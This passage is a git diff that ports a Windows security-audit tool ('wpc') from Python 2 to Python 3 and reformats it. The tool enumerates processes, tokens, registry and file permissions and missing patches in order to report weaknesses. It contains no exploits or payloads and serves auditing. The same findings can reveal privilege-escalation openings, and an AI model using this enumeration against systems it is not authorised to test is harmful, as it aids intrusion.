- if row['Affected Product'].find("Windows") > -1 and not row['Affected Product'].find("Media Player") > -1 and (row['Affected Product'].find("Windows 7") > -1 or row['Affected Product'].find("XP") > -1 or row['Affected Product'].find("Server 2008") > -1 or row['Affected Product'].find("Server 2003") > -1 or row['Affected Product'].find("Vista")) > -1:
+ if row['Affected Product'].find("Windows") > -1 and not row[
+ 'Affected Product'].find("Media Player") > -1 and (
+ row['Affected Product'].find("Windows 7") > -1
+ or row['Affected Product'].find("XP") > -1
+ or row['Affected Product'].find("Server 2008") > -1
+ or row['Affected Product'].find("Server 2003") > -1
+ or row['Affected Product'].find("Vista")) > -1:
oslist[row['Affected Product']] = 1
- print "[+] Valid OS strings from xlsx file are:"
+ print("[+] Valid OS strings from xlsx file are:")
for os in sorted(oslist.keys()):
- print "%s" % os
+ print(os)
def is_vali_os_string(self, os):
for row in self.patchspreadsheet:
diff --git a/wpc/parseOptions.py b/wpc/parseOptions.py
index 34bb349..bd6b71b 100755
--- a/wpc/parseOptions.py
+++ b/wpc/parseOptions.py
@@ -3,47 +3,175 @@
from optparse import OptionGroup
import sys
+
def parseOptions():
wpc.utils.print_banner()
- usage = "%s (--dump [ dump opts] |--audit) [examine opts] [host opts] -o report-file-stem" % (sys.argv[0])
-
- parser = OptionParser(usage = usage, version = wpc.utils.get_version())
- examine = OptionGroup(parser, "examine opts", "At least one of these to indicate what to examine (*=not implemented)")
- host = OptionGroup(parser, "host opts", "Optional details about a remote host (experimental). Default is current host.")
- dump = OptionGroup(parser, "dump opts", "Options to modify the behaviour of dump mode")
- report = OptionGroup(parser, "report opts", "Reporting options")
-
- parser.add_option("--dump", dest = "dump_mode", default = False, action = "store_true", help = "Dumps info for you to analyse manually")
- parser.add_option("--audit", dest = "audit_mode", default = False, action = "store_true", help = "Identify and report security weaknesses")
-
- examine.add_option("-a", "--all", dest = "do_all", default = False, action = "store_true", help = "All Simple Checks (non-slow)")
- examine.add_option("-t", "--paths", dest = "do_paths", default = False, action = "store_true", help = "PATH")
- examine.add_option("-D", "--drives", dest = "do_drives", default = False, action = "store_true", help = "Drives*")
- examine.add_option("-E", "--eventlogs", dest = "do_eventlogs", default = False, action = "store_true", help = "Event Log*")
- examine.add_option("-H", "--shares", dest = "do_shares", default = False, action = "store_true", help = "Shares*")
- examine.add_option("-T", "--patches", dest = "patchfile", help = "Patches. Arg is filename of xlsx patch info. Download from http://go.microsoft.com/fwlink/?LinkID=245778 or pass 'auto' to fetch automatically")
- examine.add_option("-L", "--loggedin", dest = "do_loggedin", default = False, action = "store_true", help = "Logged In*")
- examine.add_option("-S", "--services", dest = "do_services", default = False, action = "store_true", help = "Windows Services")
- examine.add_option("-k", "--drivers", dest = "do_drivers", default = False, action = "store_true", help = "Kernel Drivers")
- examine.add_option("-R", "--processes", dest = "do_processes", default = False, action = "store_true", help = "Processes")
- examine.add_option("-P", "--progfiles", dest = "do_program_files", default = False, action = "store_true", help = "Program Files Directory Tree")
- examine.add_option("-r", "--registry", dest = "do_registry", default = False, action = "store_true", help = "Registry Settings + Permissions")
- examine.add_option("-U", "--users", dest = "do_users", default = False, action = "store_true", help = "Users")
- examine.add_option("-G", "--groups", dest = "do_groups", default = False, action = "store_true", help = "Groups")
- examine.add_option("-A", "--allfiles", dest = "do_allfiles", default = False, action = "store_true", help = "All Files and Directories (slow)")
- examine.add_option("-e", "--reg_keys", dest = "do_reg_keys", default = False, action = "store_true", help = "Misc security-related reg keys")
- examine.add_option("-v", "--verbose", dest = "verbose", default = False, action = "store_true", help = "More verbose output on console")
-
- host.add_option("-s", "--server", dest = "remote_host", help = "Remote host or IP")
- host.add_option("-u", "--user", dest = "remote_user", help = "Remote username")
- host.add_option("-p", "--pass", dest = "remote_pass", help = "Remote password")
- host.add_option("-d", "--domain", dest = "remote_domain", help = "Remote domain")
-
- dump.add_option("-i", "--ignore_trusted", dest = "ignore_trusted", default = False, action = "store_true", help = "Ignore ACEs for Trusted Users")
- dump.add_option("-m", "--get_members", dest = "get_members", default = False, action = "store_true", help = "Dump group members (use with -G)")
- dump.add_option("-V", "--get_privs", dest = "get_privs", default = False, action = "store_true", help = "Dump privileges for users/groups")
-
- report.add_option("-o", "--report_file_stem", dest = "report_file_stem", default = False, help = "Filename stem for txt, html report files")
+ usage = "%s (--dump [ dump opts] |--audit) [examine opts] [host opts] -o report-file-stem" % (
+ sys.argv[0])
+
+ parser = OptionParser(usage=usage, version=wpc.utils.get_version())
+ examine = OptionGroup(
+ parser, "examine opts",
+ "At least one of these to indicate what to examine (*=not implemented)"
+ )
+ host = OptionGroup(
+ parser, "host opts",
+ "Optional details about a remote host (experimental). Default is current host."
+ )
+ dump = OptionGroup(parser, "dump opts",
+ "Options to modify the behaviour of dump mode")
+ report = OptionGroup(parser, "report opts", "Reporting options")
+
+ parser.add_option("--dump",
+ dest="dump_mode",
+ default=False,
+ action="store_true",
+ help="Dumps info for you to analyse manually")
+ parser.add_option("--audit",
+ dest="audit_mode",
+ default=False,
+ action="store_true",
+ help="Identify and report security weaknesses")
+
+ examine.add_option("-a",
+ "--all",
+ dest="do_all",
+ default=False,
+ action="store_true",
+ help="All Simple Checks (non-slow)")
+ examine.add_option("-t",
+ "--paths",
+ dest="do_paths",
+ default=False,
+ action="store_true",
+ help="PATH")
+ examine.add_option("-D",
+ "--drives",
+ dest="do_drives",
+ default=False,
+ action="store_true",
+ help="Drives*")
+ examine.add_option("-E",
+ "--eventlogs",
+ dest="do_eventlogs",
+ default=False,
+ action="store_true",
+ help="Event Log*")
+ examine.add_option("-H",
+ "--shares",
+ dest="do_shares",
+ default=False,
+ action="store_true",
+ help="Shares*")
+ examine.add_option(
+ "-T",
+ "--patches",
+ dest="patchfile",
+ help=
+ "Patches. Arg is filename of xlsx patch info. Download from http://go.microsoft.com/fwlink/?LinkID=245778 or pass 'auto' to fetch automatically"
+ )
+ examine.add_option("-L",
+ "--loggedin",
+ dest="do_loggedin",
+ default=False,
+ action="store_true",
+ help="Logged In*")
+ examine.add_option("-S",
+ "--services",
+ dest="do_services",
+ default=False,
+ action="store_true",
+ help="Windows Services")
+ examine.add_option("-k",
+ "--drivers",
+ dest="do_drivers",
+ default=False,
+ action="store_true",
+ help="Kernel Drivers")
+ examine.add_option("-R",
+ "--processes",
+ dest="do_processes",
+ default=False,
+ action="store_true",
+ help="Processes")
+ examine.add_option("-P",
+ "--progfiles",
+ dest="do_program_files",
+ default=False,
+ action="store_true",
+ help="Program Files Directory Tree")
+ examine.add_option("-r",
+ "--registry",
+ dest="do_registry",
+ default=False,
+ action="store_true",
+ help="Registry Settings + Permissions")
+ examine.add_option("-U",
+ "--users",
+ dest="do_users",
+ default=False,
+ action="store_true",
+ help="Users")
+ examine.add_option("-G",
+ "--groups",
+ dest="do_groups",
+ default=False,
+ action="store_true",
+ help="Groups")
+ examine.add_option("-A",
+ "--allfiles",
+ dest="do_allfiles",
+ default=False,
+ action="store_true",
+ help="All Files and Directories (slow)")
+ examine.add_option("-e",
+ "--reg_keys",
+ dest="do_reg_keys",
+ default=False,
+ action="store_true",
+ help="Misc security-related reg keys")
+ examine.add_option("-v",
+ "--verbose",
+ dest="verbose",
+ default=False,
+ action="store_true",
+ help="More verbose output on console")
+
+ host.add_option("-s",
+ "--server",
+ dest="remote_host",
+ help="Remote host or IP")
+ host.add_option("-u", "--user", dest="remote_user", help="Remote username")
+ host.add_option("-p", "--pass", dest="remote_pass", help="Remote password")
+ host.add_option("-d",
+ "--domain",
+ dest="remote_domain",
+ help="Remote domain")
+
+ dump.add_option("-i",
+ "--ignore_trusted",
+ dest="ignore_trusted",
+ default=False,
+ action="store_true",
+ help="Ignore ACEs for Trusted Users")
+ dump.add_option("-m",
+ "--get_members",
+ dest="get_members",
+ default=False,
+ action="store_true",
+ help="Dump group members (use with -G)")
+ dump.add_option("-V",
+ "--get_privs",
+ dest="get_privs",
+ default=False,
+ action="store_true",
+ help="Dump privileges for users/groups")
+
+ report.add_option("-o",
+ "--report_file_stem",
+ dest="report_file_stem",
+ default=False,
+ help="Filename stem for txt, html report files")
parser.add_option_group(examine)
parser.add_option_group(host)
@@ -53,19 +181,28 @@ def parseOptions():
(options, args) = parser.parse_args()
if options.audit_mode and not options.report_file_stem:
- print "[E] Specify report filename stem, e.g. '-o report-myhost'. -h for help."
+ print(
+ "[E] Specify report filename stem, e.g. '-o report-myhost'. -h for help."
+ )
sys.exit()
# TODO check file is writable.
if not options.dump_mode and not options.audit_mode:
- print "[E] Specify either --dump or --audit. -h for help."
+ print("[E] Specify either --dump or --audit. -h for help.")
sys.exit()
# TODO can't use -m without -G
- if not (options.do_all or options.do_services or options.do_drivers or options.do_processes or options.patchfile or options.do_reg_keys or options.do_registry or options.do_users or options.do_groups or options.do_program_files or options.do_paths or options.do_drives or options.do_eventlogs or options.do_shares or options.do_loggedin or options.do_users or options.do_groups or options.do_allfiles):
- print "[E] Specify something to look at. At least one of: -a, -t, -D, -E, -e, -H, -T, -L , -S, -k, -I, -U, -s, -d, -P, -r, -R, -U, -G. -h for help."
+ if not (options.do_all or options.do_services or options.do_drivers
+ or options.do_processes or options.patchfile or options.do_reg_keys
+ or options.do_registry or options.do_users or options.do_groups or
+ options.do_program_files or options.do_paths or options.do_drives
+ or options.do_eventlogs or options.do_shares or options.do_loggedin
+ or options.do_users or options.do_groups or options.do_allfiles):
+ print(
+ "[E] Specify something to look at. At least one of: -a, -t, -D, -E, -e, -H, -T, -L , -S, -k, -I, -U, -s, -d, -P, -r, -R, -U, -G. -h for help."
+ )
sys.exit()
return options
diff --git a/wpc/patchdata.py b/wpc/patchdata.py
index a0af599..ed8e268 100755
--- a/wpc/patchdata.py
+++ b/wpc/patchdata.py
@@ -37,9 +37,12 @@ def get_os_info(self):
return self.os['info']
def parse_installed_patches_from_systeminfo(self):
- output = subprocess.check_output("systeminfo", stderr = open(os.devnull, 'w'))
+ output = subprocess.check_output("systeminfo",
+ stderr=open(os.devnull, 'w'))
for line in output.splitlines():
- m = re.search("OS Name:\s+.*Windows(?:\(R\))? (7|XP|Server 2003|Vista|Server 2008 R2)", line)
+ m = re.search(
+ "OS Name:\s+.*Windows(?:\(R\))? (7|XP|Server 2003|Vista|Server 2008 R2)",
+ line)
if m and m.group(1):
self.os['info']['winver'] = m.group(1)
@@ -57,13 +60,20 @@ def parse_installed_patches_from_systeminfo(self):
self.record_installed_patch(m.group(1))
def get_os_string_for_ms_spreadsheet(self):
- if not ('spreadsheet_string' in self.os and self.os['spreadsheet_string']):
- self.os['spreadsheet_string'] = self.guess_os_string_for_ms_spreadsheet()
+ if not ('spreadsheet_string' in self.os
+ and self.os['spreadsheet_string']):
+ self.os[
+ 'spreadsheet_string'] = self.guess_os_string_for_ms_spreadsheet(
+ )
return self.os['spreadsheet_string']
def guess_os_string_for_ms_spreadsheet(self):
if self.os['info']['winver']:
- if self.os['info']['winver'].find("XP") > 0 or self.os['info']['winver'].find("2003") > 0 or self.os['info']['winver'].find("NT") > 0 or self.os['info']['winver'].find("2000") > 0:
+ if self.os['info']['winver'].find(
+ "XP") > 0 or self.os['info']['winver'].find(
+ "2003") > 0 or self.os['info']['winver'].find(
+ "NT") > 0 or self.os['info']['winver'].find(
+ "2000") > 0:
os = "Microsoft Windows %s" % self.os['info']['winver']
else:
os = "Windows %s" % self.os['info']['winver']
@@ -79,12 +89,13 @@ def guess_os_string_for_ms_spreadsheet(self):
os = "%s for 32-bit Systems" % os
if 'sp' in self.os['info'].keys() and self.os['info']['sp']:
- os = "%s Service Pack %s" % (os, self.os['info']['sp'])
+ os = "%s Service Pack %s" % (os, self.os['info']['sp'])
return os
def is_msno_applied(self, msno):
- kbs = self.db.get_kbs_from_msno(msno, self.get_os_string_for_ms_spreadsheet())
+ kbs = self.db.get_kbs_from_msno(
+ msno, self.get_os_string_for_ms_spreadsheet())
for kb in kbs:
if kb in self.get_installed_patches():
return 1
@@ -95,11 +106,11 @@ def msno_or_superseded_applied(self, msno, os, depth):
if m and m.group(1):
msno = m.group(1)
else:
- print "[E] Illegal msno passed: %s" % msno
+ print(f"[E] Illegal msno passed: {msno}")
if self.is_msno_applied(msno):
if depth == 0:
if self.verbose:
- print "[+] %s has been patched" % msno
+ print(f"[+] {msno} has been patched")
return 1
else:
s = self.db.superseding_patch(msno, os)
@@ -110,23 +121,33 @@ def msno_or_superseded_applied(self, msno, os, depth):
if m and m.group(1):
if m.group(1) == msno:
if self.verbose:
- print "[+] %s supersedes %s (ignoring)" % (m.group(1), msno)
+ print("[+] {} supersedes {} (ignoring)".format(
+ m.group(1), msno))
continue
- if self.msno_or_superseded_applied(patch_string, os, depth + 1):
+ if self.msno_or_superseded_applied(
+ patch_string, os, depth + 1):
at_least_one_superseding_patch_applied = 1
if self.verbose:
- print "[+] %s supersedes %s (and has been applied)" % (m.group(1), msno)
+ print(
+ "[+] {} supersedes {} (and has been applied)"
+ .format(m.group(1), msno))
return 1
else:
if self.verbose:
- print "[+] %s supersedes %s (and has NOT been patched)" % (m.group(1), msno)
+ print(
+ "[+] {} supersedes {} (and has NOT been patched)"
+ .format(m.group(1), msno))
if not at_least_one_superseding_patch_applied:
if depth == 0 and self.verbose:
- print "[+] VULNERABLE. %s has not been patched. There are superseding patches but none have been applied." % (msno)
+ print(
+ f"[+] VULNERABLE. {msno} has not been patched. There are superseding patches but none have been applied."
+ )
return 0
else:
if depth == 0 and self.verbose:
- print "[+] VULNERABLE. %s has not been patched and it has no superseding patches." % (msno)
+ print(
+ f"[+] VULNERABLE. {msno} has not been patched and it has no superseding patches."
+ )
return 0
diff --git a/wpc/principal.py b/wpc/principal.py
index c828648..9449385 100755
--- a/wpc/principal.py
+++ b/wpc/principal.py
@@ -1,15 +1,16 @@
import win32security
import ntsecuritycon
-import _winreg
+import winreg
import win32service
import win32con
import wpc.conf
+
# These have sids, perhaps a domain
class principal:
def __init__(self, sid):
self.name = None
-# self.info = None
+ # self.info = None
self.domain = None
self.set_sid(sid)
self.type = None
@@ -43,7 +44,8 @@ def get_sid(self):
def get_sid_string(self):
if self.sid_string == None:
- self.sid_string = win32security.ConvertSidToStringSid(self.get_sid())
+ self.sid_string = win32security.ConvertSidToStringSid(
+ self.get_sid())
return self.sid_string
def get_fq_name(self):
@@ -58,10 +60,10 @@ def get_type(self):
return self.type
# def get_principal(self):
- #if self.__class__.__name__ == "principal":
- #return self
- #else:
- #return self.principal
+#if self.__class__.__name__ == "principal":
+#return self
+#else:
+#return self.principal
def get_domain(self):
if self.domain == None:
@@ -89,8 +91,12 @@ def get_privileges(self):
self.privileges = []
try:
- ph = wpc.conf.cache.LsaOpenPolicy(wpc.conf.remote_server, win32security.POLICY_VIEW_LOCAL_INFORMATION | win32security.POLICY_LOOKUP_NAMES)
- self.privileges = wpc.conf.cache.LsaEnumerateAccountRights(ph, self.get_sid())
+ ph = wpc.conf.cache.LsaOpenPolicy(
+ wpc.conf.remote_server,
+ win32security.POLICY_VIEW_LOCAL_INFORMATION
+ | win32security.POLICY_LOOKUP_NAMES)
+ self.privileges = wpc.conf.cache.LsaEnumerateAccountRights(
+ ph, self.get_sid())
except:
pass
@@ -106,14 +112,18 @@ def get_name(self):
else:
try:
#print wpc.conf.cache.LookupAccountSid(self.get_remote_server(), self.get_sid())
- self.name, domain, type = list(wpc.conf.cache.LookupAccountSid(self.get_remote_server(), self.get_sid()))
+ self.name, domain, type = list(
+ wpc.conf.cache.LookupAccountSid(
+ self.get_remote_server(), self.get_sid()))
except:
self.cant_resolve = 1
- self.name, domain, type = self.get_sid_string(), "[unknown]", 8
+ self.name, domain, type = self.get_sid_string(
+ ), "[unknown]", 8
self.set_type(type)
self.set_domain(domain)
return self.name
+
# def is_trusted(self):
# for p in wpc.conf.trusted_principals:
# if self.get_sid() == p.get_sid():
@@ -121,7 +131,7 @@ def get_name(self):
# return 0
def is_trusted(self):
-# print "Testing if %s is trusted" % self.get_fq_name()
+ # print "Testing if %s is trusted" % self.get_fq_name()
if self.trusted_set:
#print "Cache result returned for trust of %s: %s" % (self.get_fq_name(), self.trusted)
return self.trusted
@@ -138,18 +148,18 @@ def is_trusted(self):
for p in wpc.conf.trusted_principals:
# This also recurses through sub groups
-# print "Testing if %s is in %s" % (self.get_fq_name(), p.get_fq_name())
-# print "[D] pincipal.is_trusted: %s is group? %s" % (p.get_fq_name(), p.is_group_type())
-# print "[D] self.is_in_group(p): %s" % (self.is_in_group(p))
+ # print "Testing if %s is in %s" % (self.get_fq_name(), p.get_fq_name())
+ # print "[D] pincipal.is_trusted: %s is group? %s" % (p.get_fq_name(), p.is_group_type())
+ # print "[D] self.is_in_group(p): %s" % (self.is_in_group(p))
if p.is_group_type() and self.is_in_group(p):
-# print "Yes"
+ # print "Yes"
self.trusted_set = 1
self.trusted = 1
-# print "%s is trusted. Member of trusted group %s" % (self.get_fq_name(), p.get_fq_name())
+ # print "%s is trusted. Member of trusted group %s" % (self.get_fq_name(), p.get_fq_name())
return 1
else:
#print "No"
-# print "User type"
+ # print "User type"
if p.get_sid() == self.get_sid():
self.trusted_set = 1
self.trusted = 1
@@ -163,4 +173,3 @@ def is_trusted(self):
def is_in_group(self, group):
# print "is_in_group called for %s, %s" % (self.get_fq_name(), group.get_name())
return wpc.conf.cache.is_in_group(self, group)
-
diff --git a/wpc/process.py b/wpc/process.py
index be3ee2c..59e4f7f 100755
--- a/wpc/process.py
+++ b/wpc/process.py
@@ -9,16 +9,14 @@
import wpc.utils
import ctypes
+
class THREADENTRY32(ctypes.Structure):
- _fields_ = [
- ("dwSize", ctypes.c_ulong),
- ("cntUsage", ctypes.c_ulong),
- ("th32ThreadID", ctypes.c_ulong),
- ("th32OwnerProcessID", ctypes.c_ulong),
- ("tpBasePri", ctypes.c_ulong),
- ("tpDeltaPri", ctypes.c_ulong),
- ("dwFlags", ctypes.c_ulong)
- ]
+ _fields_ = [("dwSize", ctypes.c_ulong), ("cntUsage", ctypes.c_ulong),
+ ("th32ThreadID", ctypes.c_ulong),
+ ("th32OwnerProcessID", ctypes.c_ulong),
+ ("tpBasePri", ctypes.c_ulong), ("tpDeltaPri", ctypes.c_ulong),
+ ("dwFlags", ctypes.c_ulong)]
+
class process:
def __init__(self, pid):
@@ -60,21 +58,24 @@ def get_thread_ids(self):
Thread32Next = ctypes.windll.kernel32.Thread32Next
CloseHandle = ctypes.windll.kernel32.CloseHandle
- hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, self.get_pid())
+ hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,
+ self.get_pid())
te32 = THREADENTRY32()
te32.dwSize = ctypes.sizeof(THREADENTRY32)
- if Thread32First(hThreadSnap, ctypes.byref(te32)) == win32con.FALSE:
+ if Thread32First(hThreadSnap,
+ ctypes.byref(te32)) == win32con.FALSE:
pass
#print >> sys.stderr, "Failed getting first process."
#return
else:
while True:
# TODO can we just get thread info for a single process instead?
-# print "PID: %s, TID: %s" % (te32.th32OwnerProcessID, te32.th32ThreadID)
+ # print "PID: %s, TID: %s" % (te32.th32OwnerProcessID, te32.th32ThreadID)
if self.get_pid() == te32.th32OwnerProcessID:
self.add_thread_id(te32.th32ThreadID)
- if Thread32Next(hThreadSnap, ctypes.byref(te32)) == win32con.FALSE:
+ if Thread32Next(hThreadSnap,
+ ctypes.byref(te32)) == win32con.FALSE:
break
CloseHandle(hThreadSnap)
return sorted(self.thread_ids)
@@ -88,7 +89,7 @@ def get_tokens(self):
# Process Token
tok = self.get_token()
if tok:
- self.token_handles.append(tok)
+ self.token_handles.append(tok)
# Thread Tokens
for t in self.get_threads():
@@ -103,7 +104,7 @@ def get_token_handles_int(self):
for t in self.get_tokens():
self.token_handles_int.append(t.get_th_int())
- return self.token_handles_int
+ return self.token_handles_int
def get_threads(self):
if not self.threads:
@@ -111,7 +112,6 @@ def get_threads(self):
self.add_thread(thread(t))
return self.threads
-
def set_wts_name(self, wts_name):
self.wts_name = wts_name
@@ -139,7 +139,11 @@ def get_wts_name(self):
def get_sd(self):
if not self.sd:
try:
- secdesc = win32security.GetSecurityInfo(self.get_ph(), win32security.SE_KERNEL_OBJECT, win32security.DACL_SECURITY_INFORMATION | win32security.OWNER_SECURITY_INFORMATION | win32security.GROUP_SECURITY_INFORMATION)
+ secdesc = win32security.GetSecurityInfo(
+ self.get_ph(), win32security.SE_KERNEL_OBJECT,
+ win32security.DACL_SECURITY_INFORMATION
+ | win32security.OWNER_SECURITY_INFORMATION
+ | win32security.GROUP_SECURITY_INFORMATION)
self.sd = sd('process', secdesc)
except:
pass
@@ -167,7 +171,8 @@ def get_dlls(self):
def get_exe_path_clean(self):
if not self.exe_path_clean:
- self.exe_path_clean = wpc.utils.get_exe_path_clean(self.get_exe_path_dirty())
+ self.exe_path_clean = wpc.utils.get_exe_path_clean(
+ self.get_exe_path_dirty())
if not self.exe_path_clean:
self.exe_path_clean = self.get_exe_path_dirty()
return self.exe_path_clean
@@ -175,7 +180,9 @@ def get_exe_path_clean(self):
def get_exe_path_dirty(self):
if not self.exe_path_dirty:
if self.get_mhs():
- self.exe_path_dirty = win32process.GetModuleFileNameEx(self.get_ph(), self.get_mhs().pop(0))
+ self.exe_path_dirty = win32process.GetModuleFileNameEx(
+ self.get_ph(),
+ self.get_mhs().pop(0))
return self.exe_path_dirty
def get_exe(self):
@@ -188,18 +195,24 @@ def get_ph(self):
if not self.ph:
try:
# PROCESS_ALL_ACCESS needed to get security descriptor
- self.ph = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, self.get_pid())
+ self.ph = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS,
+ False, self.get_pid())
#print "OpenProcess with PROCESS_ALL_ACCESS: Success"
except:
try:
# PROCESS_VM_READ is required to list modules (DLLs, EXE)
- self.ph = win32api.OpenProcess(win32con.PROCESS_VM_READ | win32con.PROCESS_QUERY_INFORMATION, False, self.get_pid())
+ self.ph = win32api.OpenProcess(
+ win32con.PROCESS_VM_READ
+ | win32con.PROCESS_QUERY_INFORMATION, False,
+ self.get_pid())
#print "OpenProcess with VM_READ and PROCESS_QUERY_INFORMATION: Success"
except:
#print "OpenProcess with VM_READ and PROCESS_QUERY_INFORMATION: Failed"
try:
# We can still get some info without PROCESS_VM_READ
- self.ph = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, self.get_pid())
+ self.ph = win32api.OpenProcess(
+ win32con.PROCESS_QUERY_INFORMATION, False,
+ self.get_pid())
#print "OpenProcess with PROCESS_QUERY_INFORMATION: Success"
except:
#print "OpenProcess with PROCESS_QUERY_INFORMATION: Failed"
@@ -207,7 +220,9 @@ def get_ph(self):
# If we have to resort to using PROCESS_QUERY_LIMITED_INFORMATION, the process is protected.
# There's no point trying PROCESS_VM_READ
# Ignore pydev warning. We define this at runtime because win32con is out of date.
- self.ph = win32api.OpenProcess(win32con.PROCESS_QUERY_LIMITED_INFORMATION, False, self.get_pid())
+ self.ph = win32api.OpenProcess(
+ win32con.PROCESS_QUERY_LIMITED_INFORMATION,
+ False, self.get_pid())
#print "OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION: Success"
except:
#print "OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION: Failed"
@@ -217,13 +232,16 @@ def get_ph(self):
def get_pth(self):
if not self.pth:
try:
- self.pth = win32security.OpenProcessToken(self.get_ph(), win32con.MAXIMUM_ALLOWED)
+ self.pth = win32security.OpenProcessToken(
+ self.get_ph(), win32con.MAXIMUM_ALLOWED)
except:
try:
- self.pth = win32security.OpenProcessToken(self.get_ph(), win32con.TOKEN_READ)
+ self.pth = win32security.OpenProcessToken(
+ self.get_ph(), win32con.TOKEN_READ)
except:
try:
- self.pth = win32security.OpenProcessToken(self.get_ph(), win32con.TOKEN_QUERY)
+ self.pth = win32security.OpenProcessToken(
+ self.get_ph(), win32con.TOKEN_QUERY)
#print "OpenProcessToken with TOKEN_QUERY: Failed"
except:
pass
@@ -248,13 +266,16 @@ def as_text(self):
t += "WTS Name: " + str(self.get_wts_name()) + "\n"
t += "WTS Session ID: " + str(self.get_wts_session_id()) + "\n"
if self.get_wts_sid():
- t += "WTS Sid: " + str(self.get_wts_sid().get_fq_name()) + "\n"
+ t += "WTS Sid: " + str(
+ self.get_wts_sid().get_fq_name()) + "\n"
else:
t += "WTS Sid: None\n"
t += "Access Token Count: %s\n" % len(self.get_token_handles_int())
- t += "Access Token Handles: %s\n" % ",".join(str(x) for x in self.get_token_handles_int())
+ t += "Access Token Handles: %s\n" % ",".join(
+ str(x) for x in self.get_token_handles_int())
t += "Thread Count: %s\n" % self.get_thread_count()
- t += "Thread IDs: %s\n" % ",".join(str(x) for x in self.get_thread_ids())
+ t += "Thread IDs: %s\n" % ",".join(
+ str(x) for x in self.get_thread_ids())
if self.get_ph():
t += "Is WOW64: " + str(self.is_wow64()) + "\n"
if self.get_exe():
diff --git a/wpc/processes.py b/wpc/processes.py
index 9c03803..cea921d 100755
--- a/wpc/processes.py
+++ b/wpc/processes.py
@@ -6,17 +6,18 @@
import ctypes
import win32con
+
class PROCESSENTRY32(ctypes.Structure):
- _fields_ = [("dwSize", ctypes.c_ulong),
- ("cntUsage", ctypes.c_ulong),
- ("th32ProcessID", ctypes.c_ulong),
- ("th32DefaultHeapID", ctypes.c_ulong),
- ("th32ModuleID", ctypes.c_ulong),
- ("cntThreads", ctypes.c_ulong),
- ("th32ParentProcessID", ctypes.c_ulong),
- ("pcPriClassBase", ctypes.c_ulong),
- ("dwFlags", ctypes.c_ulong),
- ("szExeFile", ctypes.c_char * 260)]
+ _fields_ = [("dwSize", ctypes.c_ulong), ("cntUsage", ctypes.c_ulong),
+ ("th32ProcessID", ctypes.c_ulong),
+ ("th32DefaultHeapID", ctypes.c_ulong),
+ ("th32ModuleID", ctypes.c_ulong),
+ ("cntThreads", ctypes.c_ulong),
+ ("th32ParentProcessID", ctypes.c_ulong),
+ ("pcPriClassBase", ctypes.c_ulong), ("dwFlags",
+ ctypes.c_ulong),
+ ("szExeFile", ctypes.c_char * 260)]
+
class processes:
def __init__(self):
@@ -29,7 +30,8 @@ def get_all(self):
if self.processes == []:
pids = win32process.EnumProcesses()
try:
- proc_infos = win32ts.WTSEnumerateProcesses(wpc.conf.remote_server, 1, 0)
+ proc_infos = win32ts.WTSEnumerateProcesses(
+ wpc.conf.remote_server, 1, 0)
except:
proc_infos = []
pass
@@ -60,7 +62,8 @@ def get_all(self):
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
pe32 = PROCESSENTRY32()
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
- if Process32First(hProcessSnap, ctypes.byref(pe32)) == win32con.FALSE:
+ if Process32First(hProcessSnap,
+ ctypes.byref(pe32)) == win32con.FALSE:
pass
#print >> sys.stderr, "Failed getting first process."
#return
@@ -70,7 +73,8 @@ def get_all(self):
if p: # might fail to find process - race condition
p.set_short_name(pe32.szExeFile)
- if Process32Next(hProcessSnap, ctypes.byref(pe32)) == win32con.FALSE:
+ if Process32Next(hProcessSnap,
+ ctypes.byref(pe32)) == win32con.FALSE:
break
CloseHandle(hProcessSnap)
@@ -80,4 +84,4 @@ def find_by_pid(self, pid):
for p in self.processes:
if p.pid == pid:
return p
- return None
\ No newline at end of file
+ return None
diff --git a/wpc/regkey.py b/wpc/regkey.py
index 57012e1..7c49954 100755
--- a/wpc/regkey.py
+++ b/wpc/regkey.py
@@ -62,24 +62,25 @@ def get_parent_key(self):
self.parent_key = wpc.conf.cache.regkey(parent_keypath)
# print self.parent_key
else:
- # print "[D] no parent_key dir"
+ # print "[D] no parent_key dir"
self.parent_key = None
#if self.parent_key:
- #print "get_parent_key returning: " + str(self.parent_key.get_name())
+ #print "get_parent_key returning: " + str(self.parent_key.get_name())
#else:
- #print "get_parent_key returning: None"
+ #print "get_parent_key returning: None"
return self.parent_key
def get_issue_acl_for_perms(self, perms):
if self.get_sd():
- al = self.get_sd().get_acelist().get_untrusted().get_aces_with_perms(perms).get_aces()
+ al = self.get_sd().get_acelist().get_untrusted(
+ ).get_aces_with_perms(perms).get_aces()
if al == []:
return None
else:
return issueAcl(self.get_name(), al)
def dump(self):
- print self.as_text()
+ print(self.as_text())
def get_all_subkeys(self):
for key in self.get_subkeys():
@@ -92,7 +93,8 @@ def get_subkeys(self):
try:
subkeys = win32api.RegEnumKeyEx(self.get_keyh())
for subkey in subkeys:
- subkey_objects.append(regkey(self.get_name() + "\\" + subkey[0]))
+ subkey_objects.append(
+ regkey(self.get_name() + "\\" + subkey[0]))
except:
pass
return subkey_objects
@@ -107,7 +109,8 @@ def get_value(self, v):
def get_values(self):
try:
values = []
- (subkey_count, value_count, mod_time) = win32api.RegQueryInfoKey(self.get_keyh())
+ (subkey_count, value_count,
+ mod_time) = win32api.RegQueryInfoKey(self.get_keyh())
for i in range(0, value_count):
(s, o, t) = win32api.RegEnumValue(self.get_keyh(), i)
values.append(s)
@@ -117,14 +120,17 @@ def get_values(self):
def get_name(self):
if self.path == '':
- return self.hive
+ return self.hive
return self.hive + "\\" + self.path
def get_keyh(self):
if not self.keyh:
try:
# self.keyh = win32api.RegOpenKeyEx(getattr(win32con, self.get_hive()), self.get_path(), 0, win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE | win32con.KEY_READ)
- self.keyh = win32api.RegOpenKeyEx(getattr(win32con, self.get_hive()), self.get_path(), 0, win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE | ntsecuritycon.READ_CONTROL)
+ self.keyh = win32api.RegOpenKeyEx(
+ getattr(win32con, self.get_hive()), self.get_path(), 0,
+ win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
